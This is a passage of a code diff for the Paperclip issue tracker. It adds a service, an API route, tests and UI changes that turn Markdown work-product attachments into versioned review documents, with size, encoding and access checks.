"../services/artifact-review-documents.js"; +import { documentService } from "../services/documents.js"; +import { HttpError } from "../errors.js"; +import type { StorageService } from "../storage/types.js"; + +const embeddedPostgresSupport = await getEmbeddedPostgresTestSupport(); +const describeEmbeddedPostgres = embeddedPostgresSupport.supported ? describe : describe.skip; + +if (!embeddedPostgresSupport.supported) { + console.warn( + `Skipping embedded Postgres artifact review document tests on this host: ${embeddedPostgresSupport.reason ?? "unsupported environment"}`, + ); +} + +function createStorageService(files: Record = {}): StorageService { + return { + provider: "local_disk", + putFile: vi.fn(), + getObject: vi.fn(async (_companyId, objectKey, options) => { + const body = files[objectKey] ?? Buffer.alloc(0); + const range = options?.range; + const ranged = range ? body.subarray(range.start, range.end + 1) : body; + return { + stream: Readable.from(ranged), + contentType: "text/markdown", + contentLength: ranged.length, + }; + }), + headObject: vi.fn(), + deleteObject: vi.fn(), + }; +} + +describeEmbeddedPostgres("artifactReviewDocumentService", () => { + let tempDb: Awaited> | null = null; + let db!: ReturnType; + + beforeAll(async () => { + tempDb = await startEmbeddedPostgresTestDatabase("paperclip-artifact-review-docs-"); + db = createDb(tempDb.connectionString); + }, 20_000); + + afterEach(async () => { + await db.delete(documentRevisions); + await db.delete(issueDocuments); + await db.delete(documents); + await db.delete(issueAttachments); + await db.delete(assets); + await db.delete(issues); + await db.delete(heartbeatRuns); + await db.delete(agents); + await db.delete(companies); + }); + + afterAll(async () => { + await tempDb?.cleanup(); + }); + + async function seedFixture(options: { + body?: Buffer; + contentType?: string; + originalFilename?: string | null; + byteSize?: number; + } = {}) { + const companyId = randomUUID(); + const issueId = randomUUID(); + const agentId = randomUUID(); + const assetId = randomUUID(); + const attachmentId = randomUUID(); + const workProductId = randomUUID(); + const body = options.body ?? Buffer.from("# Report\n\nHello **markdown**.\n", "utf8"); + const contentType = options.contentType ?? "text/markdown"; + const originalFilename = options.originalFilename === undefined ? "report.md" : options.originalFilename; + const objectKey = `issues/${issueId}/${assetId}`; + + await db.insert(companies).values({ + id: companyId, + name: "Paperclip", + issuePrefix: `T${companyId.replace(/-/g, "").slice(0, 6).toUpperCase()}`, + requireBoardApprovalForNewAgents: false, + }); + await db.insert(issues).values({ + id: issueId, + companyId, + identifier: "PAP-1534", + title: "Bridge markdown work products", + description: null, + status: "in_progress", + priority: "medium", + }); + await db.insert(agents).values({ + id: agentId, + companyId, + name: "ReportWriter", + role: "engineer", + status: "idle", + adapterType: "codex_local", + adapterConfig: {}, + runtimeConfig: {}, + permissions: {}, + }); + await db.insert(assets).values({ + id: assetId, + companyId, + provider: "local_disk", + objectKey, + contentType, + byteSize: options.byteSize ?? body.length, + sha256: `sha256-${assetId}`, + originalFilename, + createdByAgentId: agentId, + }); + await db.insert(issueAttachments).values({ + id: attachmentId, + companyId, + issueId, + assetId, + }); + + const contentPath = `/api/attachments/${attachmentId}/content`; + const workProduct = { + id: workProductId, + companyId, + issueId, + type: "artifact" as const, + provider: "paperclip", + metadata: { + attachmentId, + contentType, + byteSize: options.byteSize ?? body.length, + contentPath, + openPath: contentPath, + downloadPath: `${contentPath}?download=1`, + originalFilename, + }, + title: "Verification report", + createdByRunId: null, + sourceTrust: null, + }; + + const files: Record = { [objectKey]: body }; + const storage = createStorageService(files); + const svc = artifactReviewDocumentService(db, storage); + return { companyId, issueId, agentId, assetId, attachmentId, workProduct, files, objectKey, svc }; + } + + it("materializes a review document with promoted attribution", async () => { + const fixture = await seedFixture(); + const result = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + + expect(result.created).toBe(true); + expect(result.revisionChanged).toBe(true); + expect(result.document.key).toBe(artifactReviewDocumentKey(fixture.workProduct.id)); + expect(result.document.title).toBe("Verification report"); + expect(result.document.latestRevisionNumber).toBe(1); + expect(result.document.latestRevisionId).toBeTruthy(); + expect(result.document.body).toBe("# Report\n\nHello **markdown**.\n"); + expect(result.document.createdByAgentId).toBe(fixture.agentId); + expect(result.document.createdByUserId).toBeNull(); + + const listed = await documentService(db).getIssueDocumentByKey( + fixture.issueId, + artifactReviewDocumentKey(fixture.workProduct.id), + ); + expect(listed?.id).toBe(result.document.id); + }); + + it("is idempotent for unchanged content", async () => { + const fixture = await seedFixture(); + const first = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + const second = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + + expect(second.created).toBe(false); + expect(second.revisionChanged).toBe(false); + expect(second.document.id).toBe(first.document.id); + expect(second.document.latestRevisionNumber).toBe(1); + + const revisions = await db.select().from(documentRevisions); + expect(revisions).toHaveLength(1); + }); + + it("converges concurrent ensures onto one document", async () => { + const fixture = await seedFixture(); + const input = { + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }; + const [first, second] = await Promise.all([ + fixture.svc.ensureForWorkProduct(input), + fixture.svc.ensureForWorkProduct(input), + ]); + + expect(first.document.id).toBe(second.document.id); + const links = await db.select().from(issueDocuments); + expect(links).toHaveLength(1); + const revisions = await db.select().from(documentRevisions); + expect(revisions).toHaveLength(1); + }); + + it("writes a new revision when the attachment content changes", async () => { + const fixture = await seedFixture(); + const first = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + + fixture.files[fixture.objectKey] = Buffer.from("# Report v2\n", "utf8"); + const second = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + + expect(second.created).toBe(false); + expect(second.revisionChanged).toBe(true); + expect(second.document.id).toBe(first.document.id); + expect(second.document.latestRevisionNumber).toBe(2); + expect(second.document.body).toBe("# Report v2\n"); + expect(Array.isArray(second.remappedAnnotations)).toBe(true); + }); + + it("synchronizes title and run provenance when the attachment body is unchanged", async () => { + const fixture = await seedFixture(); + const first = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + + const renamed = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: { ...fixture.workProduct, title: "Renamed verification report" }, + }); + expect(renamed.created).toBe(false); + expect(renamed.revisionChanged).toBe(true); + expect(renamed.document.id).toBe(first.document.id); + expect(renamed.document.title).toBe("Renamed verification report"); + expect(renamed.document.latestRevisionNumber).toBe(2); + + const runId = randomUUID(); + await db.insert(heartbeatRuns).values({ + id: runId, + companyId: fixture.companyId, + agentId: fixture.agentId, + status: "succeeded", + }); + const reattributed = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: { + ...fixture.workProduct, + title: "Renamed verification report", + createdByRunId: runId, + }, + }); + expect(reattributed.revisionChanged).toBe(true); + expect(reattributed.document.latestRevisionNumber).toBe(3); + + const latestRevision = await db + .select() + .from(documentRevisions) + .then((rows) => rows.find((row) => row.id === reattributed.document.latestRevisionId)); + expect(latestRevision?.createdByRunId).toBe(runId); + + const unchanged = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: { + ...fixture.workProduct, + title: "Renamed verification report", + createdByRunId: runId, + }, + }); + expect(unchanged.revisionChanged).toBe(false); + expect(unchanged.document.latestRevisionNumber).toBe(3); + }); + + it("rejects work products that are not attachment-backed Paperclip artifacts", async () => { + const fixture = await seedFixture(); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: { ...fixture.workProduct, provider: "github" }, + }), + ).rejects.toMatchObject({ status: 422 }); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: { ...fixture.workProduct, metadata: { attachmentId: "not-a-uuid" } }, + }), + ).rejects.toMatchObject({ status: 422 }); + }); + + it("rejects non-Markdown attachments with 415", async () => { + const fixture = await seedFixture({ contentType: "application/pdf", originalFilename: "report.pdf" }); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }), + ).rejects.toMatchObject({ status: 415 }); + }); + + it("rejects mismatched issues and cross-issue attachments", async () => { + const fixture = await seedFixture(); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: randomUUID(), companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }), + ).rejects.toMatchObject({ status: 404 }); + + const otherIssueId = randomUUID(); + await db.insert(issues).values({ + id: otherIssueId, + companyId: fixture.companyId, + identifier: "PAP-1535", + title: "Other issue", + description: null, + status: "todo", + priority: "medium", + }); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: otherIssueId, companyId: fixture.companyId }, + workProduct: { ...fixture.workProduct, issueId: otherIssueId }, + }), + ).rejects.toMatchObject({ status: 422 }); + }); + + it("rejects oversized attachments with 413", async () => { + const fixture = await seedFixture({ byteSize: 512 * 1024 + 1 }); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }), + ).rejects.toMatchObject({ status: 413 }); + }); + + it("rejects invalid UTF-8 content with 422", async () => { + const fixture = await seedFixture({ body: Buffer.from([0x23, 0x20, 0xff, 0xfe, 0x00]) }); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }), + ).rejects.toMatchObject({ status: 422 }); + }); + + it("surfaces a conflict when the review document is locked and content changed", async () => { + const fixture = await seedFixture(); + await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + await documentService(db).lockIssueDocument({ + issueId: fixture.issueId, + key: artifactReviewDocumentKey(fixture.workProduct.id), + lockedByUserId: "user-board", + }); + + // Unchanged content still resolves without a write. + const unchanged = await fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }); + expect(unchanged.revisionChanged).toBe(false); + + fixture.files[fixture.objectKey] = Buffer.from("# Locked update\n", "utf8"); + await expect( + fixture.svc.ensureForWorkProduct({ + issue: { id: fixture.issueId, companyId: fixture.companyId }, + workProduct: fixture.workProduct, + }), + ).rejects.toSatisfy((error: unknown) => error instanceof HttpError && error.status === 409); + }); +}); diff --git a/server/src/__tests__/issue-attachment-routes.test.ts b/server/src/__tests__/issue-attachment-routes.test.ts index 2103aa58809..d8f72d1daf3 100644 --- a/server/src/__tests__/issue-attachment-routes.test.ts +++ b/server/src/__tests__/issue-attachment-routes.test.ts @@ -515,6 +515,36 @@ describe("issue attachment routes", () => { expect(res.headers["x-content-type-options"]).toBe("nosniff"); }); + it("declares utf-8 for inline markdown attachments", async () => { + const storage = createStorageService(Buffer.from("# Hello\n")); + mockIssueService.getAttachmentById.mockResolvedValue({ + ...makeAttachment("text/markdown", "notes.md"), + byteSize: 8, + }); + + const app = await createApp(storage); + const res = await request(app).get("/api/attachments/attachment-1/content"); + + expect(res.status).toBe(200); + expect(res.headers["content-type"]).toBe("text/markdown; charset=utf-8"); + expect(res.headers["x-content-type-options"]).toBe("nosniff"); + }); + + it("keeps the charset declaration on forced markdown downloads", async () => { + const storage = createStorageService(Buffer.from("# Hello\n")); + mockIssueService.getAttachmentById.mockResolvedValue({ + ...makeAttachment("text/markdown", "notes.md"), + byteSize: 8, + }); + + const app = await createApp(storage); + const res = await request(app).get("/api/attachments/attachment-1/content?download=1"); + + expect(res.status).toBe(200); + expect(res.headers["content-type"]).toBe("text/markdown; charset=utf-8"); + expect(res.headers["content-disposition"]).toBe('attachment; filename="notes.md"'); + }); + it("keeps image attachments inline for previews", async () => { const storage = createStorageService(); mockIssueService.getAttachmentById.mockResolvedValue(makeAttachment("image/png", "preview.png")); diff --git a/server/src/__tests__/openapi-routes.test.ts b/server/src/__tests__/openapi-routes.test.ts index 2d1eeabfdc0..d417e0b831c 100644 --- a/server/src/__tests__/openapi-routes.test.ts +++ b/server/src/__tests__/openapi-routes.test.ts @@ -210,6 +210,11 @@ describe("openapi routes", () => { }, }); expect(res.body.paths["/api/companies/{companyId}/folders"].post.responses["201"]).toBeDefined(); + expect( + Object.keys( + res.body.paths["/api/issues/{id}/work-products/{workProductId}/review-document"].post.responses, + ).sort(), + ).toEqual(["200", "201", "401", "403", "404", "409", "413", "415", "422"]); expect( res.body.paths["/api/issues/{id}/interactions/{interactionId}/withdraw"].post.summary, ).toBe("Withdraw a pending issue thread interaction"); diff --git a/server/src/errors.ts b/server/src/errors.ts index d1d7d15f8d8..07213e99b64 100644 --- a/server/src/errors.ts +++ b/server/src/errors.ts @@ -29,6 +29,14 @@ export function conflict(message: string, details?: unknown) { return new HttpError(409, message, details); } +export function payloadTooLarge(message: string, details?: unknown) { + return new HttpError(413, message, details); +} + +export function unsupportedMediaType(message: string, details?: unknown) { + return new HttpError(415, message, details); +} + export function unprocessable(message: string, details?: unknown) { return new HttpError(422, message, details); } diff --git a/server/src/routes/issues.ts b/server/src/routes/issues.ts index e3c90bb6fd2..2413acaa9e4 100644 --- a/server/src/routes/issues.ts +++ b/server/src/routes/issues.ts @@ -67,6 +67,8 @@ import { upsertIssueDocumentSchema, updateIssueSchema, isClosedIsolatedExecutionWorkspace, + isMarkdownArtifactWorkProduct, + isMarkdownAttachmentContent, isUuidLike, normalizeIssueIdentifier as normalizeIssueReferenceIdentifier, type CompactIssue, @@ -138,6 +140,7 @@ import { routineService, workProductService, } from "../services/index.js"; +import { artifactReviewDocumentService } from "../services/artifact-review-documents.js"; import { assertCanResolveProposal } from "../services/secret-proposal-authorization.js"; import { buildDocumentReviewContext, buildPlanReviewContext } from "../services/plan-review-context.js"; import { @@ -2830,6 +2833,7 @@ export function issueRoutes( const executionWorkspacesSvc = executionWorkspaceServiceDirect(db); const workProductsSvc = workProductService(db); const documentsSvc = documentService(db); + const artifactReviewDocumentsSvc = artifactReviewDocumentService(db, storage); const companySkillsSvc = companySkillService(db); const documentAnnotationsSvc = documentAnnotationService(db); const decisionTrainingSvc = decisionTrainingService(db); @@ -7888,9 +7892,110 @@ export function issueRoutes( actor, workProductChanged: true, }); + await materializeArtifactReviewDocumentBestEffort({ issue, workProduct: product, actor }); res.status(201).json(product); }); + async function ensureArtifactReviewDocumentForWorkProduct(input: { + issue: NonNullable>>; + workProduct: NonNullable>>; + actor: ReturnType; + }) { + const { issue, workProduct, actor } = input; + const result = await artifactReviewDocumentsSvc.ensureForWorkProduct({ + issue: { id: issue.id, companyId: issue.companyId }, + workProduct, + }); + if (!result.revisionChanged) return result; + const doc = result.document; + await issueReferencesSvc.syncDocument(doc.id); + await externalObjectsSvc.syncDocumentSafely(doc.id); + await logActivity(db, { + companyId: issue.companyId, + actorType: actor.actorType, + actorId: actor.actorId, + agentId: actor.agentId, + runId: actor.runId, + agentApiKeyId: actor.agentApiKeyId, + action: result.created ? "issue.document_created" : "issue.document_updated", + entityType: "issue", + entityId: issue.id, + details: { + key: doc.key, + documentId: doc.id, + title: doc.title, + format: doc.format, + revisionNumber: doc.latestRevisionNumber, + workProductId: workProduct.id, + artifactReviewDocument: true, + }, + }); + for (const remap of result.remappedAnnotations) { + await logActivity(db, { + companyId: issue.companyId, + actorType: actor.actorType, + actorId: actor.actorId, + agentId: actor.agentId, + runId: actor.runId, + agentApiKeyId: actor.agentApiKeyId, + action: "issue.document_annotation_remapped", + entityType: "issue", + entityId: issue.id, + details: { + key: doc.key, + documentId: doc.id, + threadId: remap.thread.id, + revisionNumber: doc.latestRevisionNumber, + anchorState: remap.thread.anchorState, + anchorConfidence: remap.thread.anchorConfidence, + snapshotId: remap.snapshot.id, + }, + }); + } + await revalidateActiveSourceRecoveryAfterCommittedWrite({ + issue, + trigger: "document", + actor, + documentChanged: true, + }); + return result; + } + + async function materializeArtifactReviewDocumentBestEffort(input: { + issue: NonNullable>>; + workProduct: NonNullable>>; + actor: ReturnType; + }) { + if (!isMarkdownArtifactWorkProduct(input.workProduct)) return; + try { + await ensureArtifactReviewDocumentForWorkProduct(input); + } catch (error) { + // Work-product writes stay fail-open: raw open and download remain + // available, and the explicit review-document endpoint is the retry path. + logger.warn( + { err: error, issueId: input.issue.id, workProductId: input.workProduct.id }, + "markdown work product review-document materialization failed", + ); + } + } + + router.post("/issues/:id/work-products/:workProductId/review-document", async (req, res) => { + const id = req.params.id as string; + const workProductId = req.params.workProductId as string; + const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found"); + if (!issue) return; + if (!(await assertAgentIssueMutationAllowed(req, res, issue))) return; + if (!(await assertDeliverableMutationAllowedByRunContext(req, res, issue))) return; + const workProduct = await workProductsSvc.getById(workProductId); + if (!workProduct || workProduct.issueId !== issue.id || workProduct.companyId !== issue.companyId) { + res.status(404).json({ error: "Work product not found" }); + return; + } + const actor = getActorInfo(req); + const result = await ensureArtifactReviewDocumentForWorkProduct({ issue, workProduct, actor }); + res.status(result.created ? 201 : 200).json(result.document); + }); + router.post("/issues/:id/low-trust/promotions", validate(promoteLowTrustOutputSchema), async (req, res) => { const id = req.params.id as string; const issue = await getAccessibleResource(req, res, svc.getById(id), "Issue not found"); @@ -8087,6 +8192,11 @@ export function issueRoutes( actor, workProductChanged: true, }); + const reviewDocumentInputChanged = ["type", "provider", "metadata", "title", "createdByRunId"] + .some((key) => Object.prototype.hasOwnProperty.call(patch, key)); + if (reviewDocumentInputChanged || sourceTrust) { + await materializeArtifactReviewDocumentBestEffort({ issue, workProduct: product, actor }); + } res.json(product); }); @@ -12997,7 +13107,16 @@ export function issueRoutes( objectContentType: object.contentType, originalFilename: attachment.originalFilename, }); - res.setHeader("Content-Type", responseContentType); + // Markdown bodies are stored as UTF-8; declare the charset so inline + // (raw) views do not mojibake. SVG/inline checks below stay on the bare type. + const isMarkdownResponse = isMarkdownAttachmentContent({ + contentType: responseContentType, + originalFilename: attachment.originalFilename, + }); + res.setHeader( + "Content-Type", + isMarkdownResponse ? `${responseContentType}; charset=utf-8` : responseContentType, + ); res.setHeader("Cache-Control", "private, max-age=60"); res.setHeader("X-Content-Type-Options", "nosniff"); if (responseContentType === SVG_CONTENT_TYPE) { diff --git a/server/src/routes/openapi.ts b/server/src/routes/openapi.ts index 01cb4f05b0a..d70249047ba 100644 --- a/server/src/routes/openapi.ts +++ b/server/src/routes/openapi.ts @@ -536,6 +536,14 @@ const responses = { description: "Conflict", content: { "application/json": { schema: ErrorSchema } }, }, + payloadTooLarge: { + description: "Payload too large", + content: { "application/json": { schema: ErrorSchema } }, + }, + unsupportedMediaType: { + description: "Unsupported media type", + content: { "application/json": { schema: ErrorSchema } }, + }, unprocessable: { description: "Unprocessable entity", content: { "application/json": { schema: ErrorSchema } }, @@ -2318,6 +2326,25 @@ registry.registerPath({ responses: { 200: r.ok(), 400: r.badRequest, 401: r.unauthorized }, }); +registry.registerPath({ + method: "post", + path: "/api/issues/{id}/work-products/{workProductId}/review-document", + tags: ["issues"], + summary: "Ensure the review document for a Markdown work product", + request: { params: z.object({ id: z.string(), workProductId: z.string() }) }, + responses: { + 200: r.ok(), + 201: r.ok(), + 401: r.unauthorized, + 403: r.forbidden, + 404: r.notFound, + 409: r.conflict, + 413: r.payloadTooLarge, + 415: r.unsupportedMediaType, + 422: r.unprocessable, + }, +}); + registry.registerPath({ method: "patch", path: "/api/work-products/{id}", diff --git a/server/src/services/artifact-review-documents.ts b/server/src/services/artifact-review-documents.ts new file mode 100644 index 00000000000..3e86b189ef2 --- /dev/null +++ b/server/src/services/artifact-review-documents.ts @@ -0,0 +1,245 @@ +import { isDeepStrictEqual } from "node:util"; +import { and, eq } from "drizzle-orm"; +import type { Db } from "@paperclipai/db"; +import { assets, documentRevisions, documents, issueAttachments, issueDocuments } from "@paperclipai/db"; +import { + MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES, + artifactReviewDocumentKey, + getAttachmentArtifactWorkProductMetadata, + isMarkdownAttachmentContent, + type AttachmentArtifactWorkProductMetadata, + type IssueWorkProduct, +} from "@paperclipai/shared"; +import { + HttpError, + conflict, + notFound, + payloadTooLarge, + unprocessable, + unsupportedMediaType, +} from "../errors.js"; +import type { StorageService } from "../storage/types.js"; +import { documentAnnotationService } from "./document-annotations.js"; +import { documentService, issueDocumentSelect, mapIssueDocumentRow } from "./documents.js"; + +export type EnsureArtifactReviewWorkProduct = Pick< + IssueWorkProduct, + "id" | "companyId" | "issueId" | "type" | "provider" | "metadata" | "title" | "createdByRunId" | "sourceTrust" +>; + +export interface EnsureArtifactReviewDocumentInput { + issue: { id: string; companyId: string }; + workProduct: EnsureArtifactReviewWorkProduct; +} + +type RemappedAnnotations = Awaited< + ReturnType["remapOpenThreadsForDocument"]> +>; + +export interface EnsureArtifactReviewDocumentResult { + document: ReturnType & { body?: string }; + created: boolean; + revisionChanged: boolean; + remappedAnnotations: RemappedAnnotations; +} + +/** + * Materializes the review IssueDocument for an eligible Markdown + * attachment-backed work product under the deterministic + * `artifact-review-` key. The operation is idempotent: repeated + * calls return the existing document and only write a new revision when the + * review content or its work-product provenance changed. + */ +export function artifactReviewDocumentService(db: Db, storage: StorageService) { + const documentsSvc = documentService(db); + const annotationsSvc = documentAnnotationService(db); + + const getExistingByKey = async (issueId: string, key: string) => { + const document = await db + .select(issueDocumentSelect) + .from(issueDocuments) + .innerJoin(documents, eq(issueDocuments.documentId, documents.id)) + .where(and(eq(issueDocuments.issueId, issueId), eq(issueDocuments.key, key))) + .then((rows) => (rows[0] ? mapIssueDocumentRow(rows[0], true) : null)); + if (!document) return null; + const latestRevision = document.latestRevisionId + ? await db + .select({ + createdByAgentId: documentRevisions.createdByAgentId, + createdByUserId: documentRevisions.createdByUserId, + createdByRunId: documentRevisions.createdByRunId, + }) + .from(documentRevisions) + .where(and( + eq(documentRevisions.id, document.latestRevisionId), + eq(documentRevisions.documentId, document.id), + eq(documentRevisions.companyId, document.companyId), + )) + .then((rows) => rows[0] ?? null) + : null; + return { document, latestRevision }; + }; + + const readMarkdownAttachmentBody = async ( + issue: { id: string; companyId: string }, + metadata: AttachmentArtifactWorkProductMetadata, + ) => { + const attachment = await db + .select({ + id: issueAttachments.id, + companyId: issueAttachments.companyId, + issueId: issueAttachments.issueId, + objectKey: assets.objectKey, + contentType: assets.contentType, + byteSize: assets.byteSize, + originalFilename: assets.originalFilename, + createdByAgentId: assets.createdByAgentId, + createdByUserId: assets.createdByUserId, + }) + .from(issueAttachments) + .innerJoin(assets, eq(issueAttachments.assetId, assets.id)) + .where(eq(issueAttachments.id, metadata.attachmentId)) + .then((rows) => rows[0] ?? null); + // Unknown and cross-scope attachment ids are deliberately + // indistinguishable: canonical metadata must reference an attachment on + // the same issue and company. + if (!attachment || attachment.companyId !== issue.companyId || attachment.issueId !== issue.id) { + throw unprocessable("Work product attachment must reference an attachment on the same issue", { + code: "invalid_attachment_artifact_metadata", + attachmentId: metadata.attachmentId, + }); + } + if (!isMarkdownAttachmentContent(attachment)) { + throw unsupportedMediaType("Work product attachment is not Markdown", { + code: "unsupported_review_document_content_type", + contentType: attachment.contentType, + }); + } + if (attachment.byteSize > MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES) { + throw payloadTooLarge("Markdown attachment exceeds the review document size limit", { + code: "review_document_too_large", + byteSize: attachment.byteSize, + maxBytes: MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES, + }); + } + + const object = await storage.getObject(attachment.companyId, attachment.objectKey); + const chunks: Buffer[] = []; + let total = 0; + for await (const chunk of object.stream) { + const buffer = Buffer.isBuffer(chunk) ? chunk : Buffer.from(chunk); + total += buffer.length; + // Defense in depth: enforce the cap during streaming too, so a + // metadata/object size mismatch can never exceed the limit. + if (total > MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES) { + object.stream.destroy(); + throw payloadTooLarge("Markdown attachment exceeds the review document size limit", { + code: "review_document_too_large", + maxBytes: MARKDOWN_REVIEW_DOCUMENT_MAX_BYTES, + }); + } + chunks.push(buffer); + } + + let body: string; + try { + body = new TextDecoder("utf-8", { fatal: true }).decode(Buffer.concat(chunks)); + } catch { + throw unprocessable("Markdown attachment is not valid UTF-8", { + code: "invalid_review_document_encoding", + attachmentId: attachment.id, + }); + } + return { attachment, body }; + }; + + return { + ensureForWorkProduct: async ( + input: EnsureArtifactReviewDocumentInput, + ): Promise => { + const { issue, workProduct } = input; + if (workProduct.issueId !== issue.id || workProduct.companyId !== issue.companyId) { + throw notFound("Work product not found"); + } + const metadata = getAttachmentArtifactWorkProductMetadata(workProduct); + if (!metadata) { + throw unprocessable("Work product is not an attachment-backed Paperclip artifact", { + code: "not_attachment_backed_artifact", + workProductId: workProduct.id, + }); + } + if (!isMarkdownAttachmentContent(metadata)) { + throw unsupportedMediaType("Work product attachment is not Markdown", { + code: "unsupported_review_document_content_type", + contentType: metadata.contentType, + }); + } + + const { attachment, body } = await readMarkdownAttachmentBody(issue, metadata); + const key = artifactReviewDocumentKey(workProduct.id); + // The review document represents agent-authored attachment content, so + // attribution promotes the attachment/work-product provenance instead of + // the actor who triggered materialization. + const attribution = { + createdByAgentId: attachment.createdByAgentId ?? null, + createdByUserId: attachment.createdByUserId ?? null, + createdByRunId: workProduct.createdByRunId ?? null, + sourceTrust: workProduct.sourceTrust ?? null, + }; + + for (let attempt = 0; attempt < 2; attempt += 1) { + const existingState = await getExistingByKey(issue.id, key); + const existing = existingState?.document ?? null; + const latestRevision = existingState?.latestRevision ?? null; + const reviewStateMatches = existing && + existing.body === body && + existing.title === (workProduct.title ?? null) && + existing.format === "markdown" && + latestRevision?.createdByAgentId === attribution.createdByAgentId && + latestRevision.createdByUserId === attribution.createdByUserId && + latestRevision.createdByRunId === attribution.createdByRunId && + isDeepStrictEqual(existing.sourceTrust ?? null, attribution.sourceTrust); + if (reviewStateMatches) { + return { document: existing, created: false, revisionChanged: false, remappedAnnotations: [] }; + } + try { + const result = await documentsSvc.upsertIssueDocument({ + issueId: issue.id, + key, + title: workProduct.title ?? null, + format: "markdown", + body, + changeSummary: existing + ? "Synced from the work product attachment" + : "Materialized from the Markdown work product attachment", + baseRevisionId: existing?.latestRevisionId ?? null, + ...attribution, + lockedDocumentStrategy: "conflict", + }); + const remappedAnnotations = result.created + ? [] + : await annotationsSvc.remapOpenThreadsForDocument({ + issueId: issue.id, + key: result.document.key, + documentId: result.document.id, + nextRevisionId: result.document.latestRevisionId, + nextRevisionNumber: result.document.latestRevisionNumber, + nextBody: result.document.body, + }); + return { + document: result.document, + created: result.created, + revisionChanged: true, + remappedAnnotations, + }; + } catch (error) { + // A concurrent materialization or document write raced this one. + // Re-read once so identical content converges on the winner. + if (error instanceof HttpError && error.status === 409 && attempt === 0) continue; + throw error; + } + } + throw conflict("Concurrent review-document updates did not converge", { key }); + }, + }; +} diff --git a/server/src/services/index.ts b/server/src/services/index.ts index 3b7569b1a6f..54e56fc936a 100644 --- a/server/src/services/index.ts +++ b/server/src/services/index.ts @@ -23,6 +23,7 @@ export { export { agentInstructionsService, syncInstructionsBundleConfigFromFilePath } from "./agent-instructions.js"; export { assetService } from "./assets.js"; export { documentService, extractLegacyPlanBody } from "./documents.js"; +export { artifactReviewDocumentService } from "./artifact-review-documents.js"; export { statusCardService } from "./status-cards.js"; export { finalizeStatusCardsForStalledGeneration } from "./status-card-finalization.js"; export { documentAnnotationService } from "./document-annotations.js"; diff --git a/ui/src/api/issues.ts b/ui/src/api/issues.ts index 5eae6f0685e..4f00784fd70 100644 --- a/ui/src/api/issues.ts +++ b/ui/src/api/issues.ts @@ -342,6 +342,8 @@ export const issuesApi = { unlinkApproval: (id: string, approvalId: string) => api.delete<{ ok: true }>(`/issues/${id}/approvals/${approvalId}`), listWorkProducts: (id: string) => api.get(`/issues/${id}/work-products`), + ensureWorkProductReviewDocument: (id: string, workProductId: string) => + api.post(`/issues/${id}/work-products/${workProductId}/review-document`, {}), createWorkProduct: (id: string, data: Record) => api.post(`/issues/${id}/work-products`, data), updateWorkProduct: (id: string, data: Record) => diff --git a/ui/src/components/issue-properties/IssueProperties.tsx b/ui/src/components/issue-properties/IssueProperties.tsx index 4df10852be0..2aadb3994b4 100644 --- a/ui/src/components/issue-properties/IssueProperties.tsx +++ b/ui/src/components/issue-properties/IssueProperties.tsx @@ -5,7 +5,12 @@ import { pickTextColorForPillBg } from "@/lib/color-contrast"; import { issueStatusText } from "@/lib/status-colors"; import { copyTextToClipboard } from "@/lib/clipboard"; import { Link } from "@/lib/router"; -import { deriveOriginatingActor, type Issue, type IssueLabel } from "@paperclipai/shared"; +import { + deriveOriginatingActor, + isArtifactReviewDocumentKey, + type Issue, + type IssueLabel, +} from "@paperclipai/shared"; import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query"; import { accessApi } from "../../api/access"; import { agentsApi } from "../../api/agents"; @@ -225,10 +230,15 @@ export function IssueProperties({ enabled: taskChatShellEnabled, }); const { data: paneTabDocuments } = useIssueDocuments(taskChatShellEnabled ? issue.id : null); + // Proxy `artifact-review-*` documents surface only through their Work + // product row, so they must not summon the Plan or Documents surfaces. + const paneTabStandaloneDocuments = (paneTabDocuments ?? []).filter( + (doc) => !isArtifactReviewDocumentKey(doc.key), + ); const hasPlanTab = Boolean(paneTabPlanDocument) || (paneTabAcceptedPlans?.length ?? 0) > 0 - || (paneTabDocuments?.length ?? 0) > 0 + || paneTabStandaloneDocuments.length > 0 || issue.workMode === "planning"; // Artifacts covers the same three sources the tab body composes: work // products, documents (redundant with the Plan tab, intentionally), and @@ -236,7 +246,7 